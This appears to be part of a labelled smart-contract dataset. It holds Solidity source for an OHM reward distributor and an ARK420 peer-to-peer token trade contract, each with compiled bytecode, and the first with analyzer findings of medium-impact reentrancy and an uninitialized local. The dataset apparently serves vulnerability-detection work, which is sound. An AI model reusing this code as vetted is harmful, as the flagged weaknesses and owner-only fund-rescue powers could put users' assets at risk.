nextReward( info[ i ].rate )
);
adjust( i ); // check for adjustment
}
}
}
}
/**
@notice increment reward rate for collector
*/
function adjust( uint _index ) internal {
Adjust memory adjustment = adjustments[ _index ];
if ( adjustment.rate != 0 ) {
if ( adjustment.add ) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add( adjustment.rate ); // raise rate
if ( info[ _index ].rate >= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub( adjustment.rate ); // lower rate
if ( info[ _index ].rate <= adjustment.target ) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
/**
@notice view function for next reward at given rate
@param _rate uint
@return uint
*/
function nextReward( uint _rate ) public view returns ( uint ) {
return IERC20( OHM ).totalSupply().mul( _rate ).div( 1000000 );
}
/**
@notice view function for next reward for specified address
@param _recipient address
@return uint
*/
function nextRewardFor( address _recipient ) public view returns ( uint ) {
uint reward;
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].recipient == _recipient ) {
reward = nextReward( info[ i ].rate );
}
}
return reward;
}
/**
@notice adds recipient for distributions
@param _recipient address
@param _rewardRate uint
*/
function addRecipient( address _recipient, uint _rewardRate ) external onlyPolicy() {
require( _recipient != address(0) );
info.push( Info({
recipient: _recipient,
rate: _rewardRate
}));
}
/**
@notice removes recipient for distributions
@param _index uint
@param _recipient address
*/
function removeRecipient( uint _index, address _recipient ) external onlyPolicy() {
require( _recipient == info[ _index ].recipient );
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
/**
@notice set adjustment info for a collector's reward rate
@param _index uint
@param _add bool
@param _rate uint
@param _target uint
*/
function setAdjustment( uint _index, bool _add, uint _rate, uint _target ) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
|
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c8063a15ad07711610097578063bc3b2b1211610066578063bc3b2b121461037b578063e4fc6b6d146103cd578063f7982243146103d7578063fe3fbbad14610425576100ff565b8063a15ad077146102b7578063a3cd2d78146102fb578063a4b239801461033d578063a6c41fec14610347576100ff565b806357d775f8116100d357806357d775f81461020d5780635beede081461022b5780635db854b01461023557806361d027b314610283576100ff565b8062640c2e146101045780630505c8c9146101225780632e3405991461015657806336d33f44146101b5575b600080fd5b61010c610473565b6040518082815260200191505060405180910390f35b61012a610479565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101826004803603602081101561016c57600080fd5b81019080803590602001909291905050506104a2565b604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b6101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104f6565b6040518082815260200191505060405180910390f35b6102156105bc565b6040518082815260200191505060405180910390f35b6102336105e0565b005b6102816004803603608081101561024b57600080fd5b8101908080359060200190929190803515159060200190929190803590602001909291908035906020019092919050505061073a565b005b61028b610868565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f9600480360360208110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061088c565b005b6103276004803603602081101561031157600080fd5b8101908080359060200190929190505050610a17565b6040518082815260200191505060405180910390f35b610345610ae8565b005b61034f610c67565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103a76004803603602081101561039157600080fd5b8101908080359060200190929190505050610c8b565b604051808415158152602001838152602001828152602001935050505060405180910390f35b6103d5610cc2565b005b610423600480360360408110156103ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e65565b005b6104716004803603604081101561043b57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061100d565b005b60025481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600381815481106104b257600080fd5b90600052602060002090600202016000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b60008060005b6003805490508110156105b2578373ffffffffffffffffffffffffffffffffffffffff166003828154811061052d57fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156105a5576105a26003828154811061058b57fe5b906000526020600020906002020160000154610a17565b91505b80806001019150506104fc565b5080915050919050565b7f000000000000000000000000000000000000000000000000000000000000089881565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461063a57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60405180606001604052808415158152602001838152602001828152506004600086815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505050505050565b7f00000000000000000000000031f8cc382c9898b273eff4e0b7626a6987c846e881565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c86026913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610ae1620f4240610ad3847f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a89973ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d6020811015610ab457600080fd5b81019080805190602001909291905050506111ca90919063ffffffff16565b61125090919063ffffffff16565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ba9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b7f000000000000000000000000383518188c0c6d7730d91b2c03a03c837814a89981565b60046020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b4360025411610e6357610d007f000000000000000000000000000000000000000000000000000000000000089860025461129a90919063ffffffff16565b60028190555060005b600380549050811015610e6157600060038281548110610d2557fe5b9060005260206000209060020201600001541115610e54577f00000000000000000000000031f8cc382c9898b273eff4e0b7626a6987c846e873ffffffffffffffffffffffffffffffffffffffff16636a20de9260038381548110610d8657fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ddf60038581548110610dc857fe5b906000526020600020906002020160000154610a17565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610e3257600080fd5b505af1158015610e46573d6000803e3d6000fd5b50505050610e5381611322565b5b8080600101915050610d09565b505b565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f26576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f6057600080fd5b600360405180604001604052808381526020018473ffffffffffffffffffffffffffffffffffffffff1681525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600382815481106110db57fe5b906000526020600020906002020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461114457600080fd5b60006003838154811061115357fe5b906000526020600020906002020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600383815481106111b157fe5b9060005260206000209060020201600001819055505050565b6000808314156111dd576000905061124a565b60008284029050828482816111ee57fe5b0414611245576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806116ee6021913960400191505060405180910390fd5b809150505b92915050565b600061129283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114d4565b905092915050565b600080828401905083811015611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b61132a6116a4565b600460008381526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff1615151515815260200160018201548152602001600282015481525050905060008160200151146114d057806000015115611431576113c48160200151600384815481106113a457fe5b90600052602060002090600202016000015461129a90919063ffffffff16565b600383815481106113d157fe5b9060005260206000209060020201600001819055508060400151600383815481106113f857fe5b9060005260206000209060020201600001541061142c57600060046000848152602001908152602001600020600101819055505b6114cf565b61146681602001516003848154811061144657fe5b90600052602060002090600202016000015461159a90919063ffffffff16565b6003838154811061147357fe5b90600052602060002090600202016000018190555080604001516003838154811061149a57fe5b906000526020600020906002020160000154116114ce57600060046000848152602001908152602001600020600101819055505b5b5b5050565b60008083118290611580576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561154557808201518184015260208101905061152a565b50505050905090810190601f1680156115725780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161158c57fe5b049050809150509392505050565b60006115dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115e4565b905092915050565b6000838311158290611691576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561165657808201518184015260208101905061163b565b50505050905090810190601f1680156116835780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60405180606001604052806000151581526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212206d960bcd2eb416f82789fd7615fda5b8dbd57b47c0f8bdff24d0e3e069f57ab464736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,486 |
0xBE30A4BB6A8FaE6aDE485fD59A6Ae6BfECb904e3
|
pragma solidity =0.8.0;
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract Ownable1 {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed from, address indexed to);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner, "Ownable: Caller is not the owner");
_;
}
}
interface IARK420_WETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
interface IVesting {
function vestPurchase(address user, uint amount) external;
function vesters(address vester) external returns (bool);
}
interface IERC20Permit {
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
contract ARK420ERC20P2P_V1 is Ownable1 {
struct Trade {
address initiator;
address proposedAsset;
uint initialProposedAmount;
uint proposedAmount;
address askedAsset;
bool proposedAssetVest;
uint initialAskedAmount;
uint askedAmount;
uint minTradeAskedAmount;
uint maxTotalPurchaseAskedAmount;
uint deadline;
uint totalReceived;
address[] rewardWallets;
uint status; //0: Active, 1: success, 2: canceled, 3: withdrawn
mapping(address => uint) purchases;
}
enum TradeState {
Active,
Succeeded,
Canceled,
Withdrawn,
Overdue
}
IARK420_WETH public immutable ARK420_WETH;
uint public supportRewardRate;
address public supportAddress;
uint public tradeCount;
mapping(uint => Trade) public trades;
mapping(address => uint[]) private _userTrades;
event NewTrade(address proposedAsset, uint proposedAmount, address askedAsset, bool proposedAssetVest, uint askedAmount, uint deadline, uint minTradeAskedAmount, uint maxTotalPurchaseAskedAmount, address[] rewardWallets, uint tradeId);
event SupportTrade(uint tradeId, address counterparty, uint amount, uint assetAmount);
event CancelTrade(uint tradeId);
event WithdrawOverdueAsset(uint tradeId);
event Rescue(address indexed to, uint amount);
event RescueToken(address indexed token, address indexed to, uint amount);
constructor(address ark420Weth, address support, uint _supportRewardRate) {
require(Address.isContract(ark420Weth), "ARK420ERC20P2P_V1: Not contract");
ARK420_WETH = IARK420_WETH(ark420Weth);
require(support != address(0), "ARK420ERC20P2P_V1: Zero address");
supportAddress = support;
require(_supportRewardRate >= 0 && _supportRewardRate <= 100, "ARK420ERC20P2P_V1: Reward rate should be from 0 to 100");
supportRewardRate = _supportRewardRate;
}
receive() external payable {
assert(msg.sender == address(ARK420_WETH)); // only accept ETH via fallback from the ARK420_WETH contract
}
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'ARK420ERC20P2P_V1: locked');
unlocked = 0;
_;
unlocked = 1;
}
function createTrade(address proposedAsset, uint proposedAmount, address askedAsset, bool proposedAssetVest, uint askedAmount, uint minTradeAskedAmount, uint maxTotalPurchaseAskedAmount, address[] memory rewardWallets, uint deadline) onlyOwner external returns (uint tradeId) {
require(Address.isContract(proposedAsset) && Address.isContract(askedAsset), "ARK420ERC20P2P_V1: Not contracts");
TransferHelper.safeTransferFrom(proposedAsset, msg.sender, address(this), proposedAmount);
tradeId = _createTrade(proposedAsset, proposedAmount, askedAsset, proposedAssetVest, askedAmount, minTradeAskedAmount, maxTotalPurchaseAskedAmount, rewardWallets, deadline);
}
function createTradeETH(address askedAsset, bool proposedAssetVest, uint askedAmount, uint minTradeAskedAmount, uint maxTotalPurchaseAskedAmount, address[] memory rewardWallets, uint deadline) onlyOwner payable external returns (uint tradeId) {
require(Address.isContract(askedAsset), "ARK420ERC20P2P_V1: Not contract");
ARK420_WETH.deposit{value: msg.value}();
tradeId = _createTrade(address(ARK420_WETH), msg.value, askedAsset, proposedAssetVest, askedAmount, minTradeAskedAmount, maxTotalPurchaseAskedAmount, rewardWallets, deadline);
}
function createTradeWithPermit(address proposedAsset, uint proposedAmount, address askedAsset, bool proposedAssetVest, uint askedAmount, uint minTradeAskedAmount, uint maxTotalPurchaseAskedAmount, uint deadline, uint permitDeadline, uint8 v, bytes32 r, bytes32 s) onlyOwner external returns (uint tradeId) {
require(Address.isContract(proposedAsset) && Address.isContract(askedAsset), "ARK420ERC20P2P_V1: Not contracts");
IERC20Permit(proposedAsset).permit(msg.sender, address(this), proposedAmount, permitDeadline, v, r, s);
TransferHelper.safeTransferFrom(proposedAsset, msg.sender, address(this), proposedAmount);
address[] memory rewardWallets;
tradeId = _createTrade(proposedAsset, proposedAmount, askedAsset, proposedAssetVest, askedAmount, minTradeAskedAmount, maxTotalPurchaseAskedAmount, rewardWallets, deadline);
}
function supportTrade(uint tradeId, uint partialAmount) external lock {
require(tradeCount >= tradeId && tradeId > 0, "ARK420ERC20P2P_V1: invalid trade id");
Trade storage trade = trades[tradeId];
require(trade.status == 0 && trade.deadline > block.timestamp, "ARK420ERC20P2P_V1: not active trade");
require(partialAmount >= trade.minTradeAskedAmount, "ARK420ERC20P2P_V1: purchase amount lower then min amount");
uint256 tokenAmount = getCurrentRate(tradeId, partialAmount);
require(partialAmount > 0 && trade.proposedAmount > 0 && trade.proposedAmount >= tokenAmount, "ARK420ERC20P2P_V1: wrong amount");
require(trade.purchases[msg.sender] + partialAmount <= trade.maxTotalPurchaseAskedAmount && trade.maxTotalPurchaseAskedAmount > 0, "ARK420ERC20P2P_V1: reached max total purchase amount for trade");
uint toSupport = partialAmount * supportRewardRate / 100;
if (supportRewardRate > 0)
TransferHelper.safeTransferFrom(trade.askedAsset, msg.sender, supportAddress, toSupport);
if (trade.rewardWallets.length > 0) {
uint toRewards = partialAmount - toSupport;
for (uint i = 0; i < trade.rewardWallets.length; i++) {
TransferHelper.safeTransferFrom(trade.askedAsset, msg.sender, trade.rewardWallets[i], toRewards / trade.rewardWallets.length);
}
} else TransferHelper.safeTransferFrom(trade.askedAsset, msg.sender, trade.initiator, partialAmount);
_supportTrade(tradeId, partialAmount);
}
function supportTradeETH(uint tradeId, uint partialAmount) payable external lock {
require(tradeCount >= tradeId && tradeId > 0, "ARK420ERC20P2P_V1: invalid trade id");
Trade storage trade = trades[tradeId];
require(trade.status == 0 && trade.deadline > block.timestamp, "ARK420ERC20P2P_V1: not active trade");
require(msg.value >= partialAmount, "ARK420ERC20P2P_V1: Not enough ETH sent");
require(trade.askedAsset == address(ARK420_WETH), "ARK420ERC20P2P_V1: ERC20 trade");
require(partialAmount >= trade.minTradeAskedAmount, "ARK420ERC20P2P_V1: purchase amount lower then min amount");
uint256 tokenAmount = getCurrentRate(tradeId, partialAmount);
require(partialAmount > 0 && trade.proposedAmount > 0 && trade.proposedAmount >= tokenAmount, "ARK420ERC20P2P_V1: wrong amount");
require(trade.purchases[msg.sender] + partialAmount <= trade.maxTotalPurchaseAskedAmount && trade.maxTotalPurchaseAskedAmount > 0, "ARK420ERC20P2P_V1: reached max total purchase amount for trade");
uint toSupport = partialAmount * supportRewardRate / 100;
if (supportRewardRate > 0)
TransferHelper.safeTransferETH(supportAddress, toSupport);
if (trade.rewardWallets.length > 0) {
uint toRewards = partialAmount - toSupport;
for (uint i = 0; i < trade.rewardWallets.length; i++) {
TransferHelper.safeTransferETH(trade.rewardWallets[i], toRewards / trade.rewardWallets.length);
}
} else TransferHelper.safeTransferETH(trade.initiator, partialAmount);
if (msg.value > partialAmount) TransferHelper.safeTransferETH(msg.sender, msg.value - partialAmount);
_supportTrade(tradeId, partialAmount);
}
function supportTradeWithPermit(uint tradeId, uint partialAmount, uint permitDeadline, uint8 v, bytes32 r, bytes32 s) onlyOwner external lock {
require(tradeCount >= tradeId && tradeId > 0, "ARK420ERC20P2P_V1: invalid trade id");
Trade storage trade = trades[tradeId];
require(trade.status == 0 && trade.deadline > block.timestamp, "ARK420ERC20P2P_V1: not active trade");
require(partialAmount >= trade.minTradeAskedAmount, "ARK420ERC20P2P_V1: purchase amount lower then min amount");
uint256 tokenAmount = getCurrentRate(tradeId, partialAmount);
require(partialAmount > 0 && trade.proposedAmount > 0 && trade.proposedAmount >= tokenAmount, "ARK420ERC20P2P_V1: wrong amount");
require(trade.purchases[msg.sender] + partialAmount <= trade.maxTotalPurchaseAskedAmount && trade.maxTotalPurchaseAskedAmount > 0, "ARK420ERC20P2P_V1: reached max total purchase amount for trade");
IERC20Permit(trade.askedAsset).permit(msg.sender, address(this), partialAmount, permitDeadline, v, r, s);
uint toSupport = partialAmount * supportRewardRate / 100;
if (supportRewardRate > 0)
TransferHelper.safeTransferFrom(trade.askedAsset, msg.sender, supportAddress, toSupport);
if (trade.rewardWallets.length > 0) {
uint toRewards = partialAmount - toSupport;
for (uint i = 0; i < trade.rewardWallets.length; i++) {
TransferHelper.safeTransferFrom(trade.askedAsset, msg.sender, trade.rewardWallets[i], toRewards / trade.rewardWallets.length);
}
} else TransferHelper.safeTransferFrom(trade.askedAsset, msg.sender, trade.initiator, partialAmount);
_supportTrade(tradeId, partialAmount);
}
function cancelTrade(uint tradeId) external lock {
require(tradeCount >= tradeId && tradeId > 0, "ARK420ERC20P2P_V1: invalid trade id");
Trade storage trade = trades[tradeId];
require(trade.initiator == msg.sender, "ARK420ERC20P2P_V1: not allowed");
require(trade.status == 0 && trade.deadline > block.timestamp, "ARK420ERC20P2P_V1: not active trade");
trade.status = 2;
if (trade.proposedAsset != address(ARK420_WETH)) {
TransferHelper.safeTransfer(trade.proposedAsset, msg.sender, trade.proposedAmount);
} else {
ARK420_WETH.withdraw(trade.proposedAmount);
TransferHelper.safeTransferETH(msg.sender, trade.proposedAmount);
}
emit CancelTrade(tradeId);
}
function withdrawOverdueAsset(uint tradeId) external lock {
require(tradeCount >= tradeId && tradeId > 0, "ARK420ERC20P2P_V1: invalid trade id");
Trade storage trade = trades[tradeId];
require(trade.initiator == msg.sender, "ARK420ERC20P2P_V1: not allowed");
require(trade.status == 0 && trade.deadline < block.timestamp, "ARK420ERC20P2P_V1: not available for withdrawal");
if (trade.proposedAsset != address(ARK420_WETH)) {
TransferHelper.safeTransfer(trade.proposedAsset, msg.sender, trade.proposedAmount);
} else {
ARK420_WETH.withdraw(trade.proposedAmount);
TransferHelper.safeTransferETH(msg.sender, trade.proposedAmount);
}
trade.status = 3;
emit WithdrawOverdueAsset(tradeId);
}
function state(uint tradeId) external view returns (TradeState) {
require(tradeCount >= tradeId && tradeId > 0, "ARK420ERC20P2P_V1: invalid trade id");
Trade storage trade = trades[tradeId];
if (trade.status == 1) {
return TradeState.Succeeded;
} else if (trade.status == 2 || trade.status == 3) {
return TradeState(trade.status);
} else if (trade.deadline < block.timestamp) {
return TradeState.Overdue;
} else {
return TradeState.Active;
}
}
function userTrades(address user) external view returns (uint[] memory) {
return _userTrades[user];
}
function userPurchasesForTrade(address user, uint tradeId) external view returns (uint) {
return trades[tradeId].purchases[user];
}
function _createTrade(address proposedAsset, uint proposedAmount, address askedAsset, bool proposedAssetVest, uint askedAmount, uint minTradeAskedAmount, uint maxTotalPurchaseAskedAmount, address[] memory rewardWallets, uint deadline) private returns (uint tradeId) {
require(askedAsset != proposedAsset, "ARK420ERC20P2P_V1: asked asset can't be equal to proposed asset");
require(proposedAmount > 0, "ARK420ERC20P2P_V1: zero proposed amount");
require(askedAmount > 0, "ARK420ERC20P2P_V1: zero asked amount");
require(askedAmount > minTradeAskedAmount, "ARK420ERC20P2P_V1: asked amount should be more then min trade amount");
require(deadline > block.timestamp, "ARK420ERC20P2P_V1: incorrect deadline");
require(proposedAmount >= askedAmount, "ARK420ERC20P2P_V1: proposed amount should be more or equal asked amount to calculate valid rate");
require(!proposedAssetVest || proposedAssetVest && IVesting(proposedAsset).vesters(address(this)), "ARK420ERC20P2P_V1: this contract not allowed to vest on proposed asset");
tradeId = ++tradeCount;
Trade storage trade = trades[tradeId];
trade.initiator = msg.sender;
trade.proposedAsset = proposedAsset;
trade.initialProposedAmount = proposedAmount;
trade.proposedAmount = proposedAmount;
trade.askedAsset = askedAsset;
trade.proposedAssetVest = proposedAssetVest;
trade.initialAskedAmount = askedAmount;
trade.askedAmount = askedAmount;
trade.deadline = deadline;
trade.minTradeAskedAmount = minTradeAskedAmount;
trade.maxTotalPurchaseAskedAmount = maxTotalPurchaseAskedAmount;
trade.totalReceived = 0;
trade.rewardWallets = rewardWallets;
_userTrades[msg.sender].push(tradeId);
emit NewTrade(proposedAsset, proposedAmount, askedAsset, proposedAssetVest, askedAmount, deadline, minTradeAskedAmount, maxTotalPurchaseAskedAmount, rewardWallets, tradeId);
}
function getCurrentRate(uint256 tradeId, uint256 partialAmount) public view returns(uint256) {
return trades[tradeId].proposedAmount * partialAmount / trades[tradeId].askedAmount;
}
function _supportTrade(uint tradeId, uint partialAmount) private {
Trade storage trade = trades[tradeId];
uint256 tokenAmount = getCurrentRate(tradeId, partialAmount);
if (trade.proposedAsset != address(ARK420_WETH)) {
if (trade.proposedAssetVest) IVesting(trade.proposedAsset).vestPurchase(msg.sender, tokenAmount);
else TransferHelper.safeTransfer(trade.proposedAsset, msg.sender, tokenAmount);
} else {
ARK420_WETH.withdraw(tokenAmount);
TransferHelper.safeTransferETH(msg.sender, tokenAmount);
}
trade.totalReceived += partialAmount;
trade.proposedAmount -= tokenAmount;
trade.askedAmount -= partialAmount;
trade.purchases[msg.sender] += partialAmount;
if (trade.proposedAmount == 0) {
trade.status = 1;
}
emit SupportTrade(tradeId, msg.sender, partialAmount, tokenAmount);
}
function rescue(address payable to, uint256 amount) external onlyOwner {
require(to != address(0), "ARK420ERC20P2P_V1: Can't be zero address");
require(amount > 0, "ARK420ERC20P2P_V1: Should be greater than 0");
TransferHelper.safeTransferETH(to, amount);
emit Rescue(to, amount);
}
function rescue(address to, address token, uint256 amount) external onlyOwner {
require(to != address(0), "ARK420ERC20P2P_V1: Can't be zero address");
require(amount > 0, "ARK420ERC20P2P_V1: Should be greater than 0");
TransferHelper.safeTransfer(token, to, amount);
emit RescueToken(token, to, amount);
}
}
|
0x60806040526004361061012e5760003560e01c8063432523d7116100ab5780637a4e4ecf1161006f5780637a4e4ecf1461037b5780638da5cb5b1461039b578063bd55022a146103b0578063c9223451146103c5578063d4ee1d90146103e5578063ff1b0383146103fa5761017b565b8063432523d7146102e65780634bd8d2c21461030657806367368eed1461031b5780636a6ae6061461033b57806372fdd735146103685761017b565b8063362fdb5b116100f2578063362fdb5b1461024457806337673eae14610264578063390fb017146102845780633cc513c6146102995780633e4f49e6146102b95761017b565b806306140e1f1461018057806309ec6cc7146101a05780630f6d37d6146101c05780631e6c598e146101eb57806320ff430b146102245761017b565b3661017b57336001600160a01b037f000000000000000000000000a49e72bc7ed11831d76f0655e30e762a09a9a783161461017957634e487b7160e01b600052600160045260246000fd5b005b600080fd5b34801561018c57600080fd5b5061017961019b36600461222b565b61041a565b3480156101ac57600080fd5b506101796101bb366004612213565b61069c565b3480156101cc57600080fd5b506101d561088c565b6040516101e291906122d5565b60405180910390f35b3480156101f757600080fd5b5061020b610206366004612213565b61089b565b6040516101e29d9c9b9a9998979695949392919061230d565b34801561023057600080fd5b5061017961023f366004611fd1565b61090d565b610257610252366004612011565b6109d8565b6040516101e29190612c0f565b34801561027057600080fd5b5061025761027f36600461222b565b610ad9565b34801561029057600080fd5b506101d5610b0e565b3480156102a557600080fd5b506101796102b436600461224c565b610b32565b3480156102c557600080fd5b506102d96102d4366004612213565b610e1c565b6040516101e291906124be565b3480156102f257600080fd5b50610257610301366004612098565b610eda565b34801561031257600080fd5b50610257610f05565b34801561032757600080fd5b506102576103363660046120aa565b610f0b565b34801561034757600080fd5b5061035b610356366004611f8a565b610f96565b6040516101e2919061247a565b61017961037636600461222b565b611002565b34801561038757600080fd5b50610179610396366004611fa6565b6112c2565b3480156103a757600080fd5b506101d5611381565b3480156103bc57600080fd5b50610257611390565b3480156103d157600080fd5b506101796103e0366004612213565b611396565b3480156103f157600080fd5b506101d5611576565b34801561040657600080fd5b5061025761041536600461214e565b611585565b6007546001146104455760405162461bcd60e51b815260040161043c90612a16565b60405180910390fd5b6000600755600454821180159061045c5750600082115b6104785760405162461bcd60e51b815260040161043c906127d3565b6000828152600560205260409020600c81015415801561049b5750428160090154115b6104b75760405162461bcd60e51b815260040161043c9061257a565b80600701548210156104db5760405162461bcd60e51b815260040161043c90612674565b60006104e78484610ad9565b90506000831180156104fd575060008260030154115b801561050d575080826003015410155b6105295760405162461bcd60e51b815260040161043c906125f256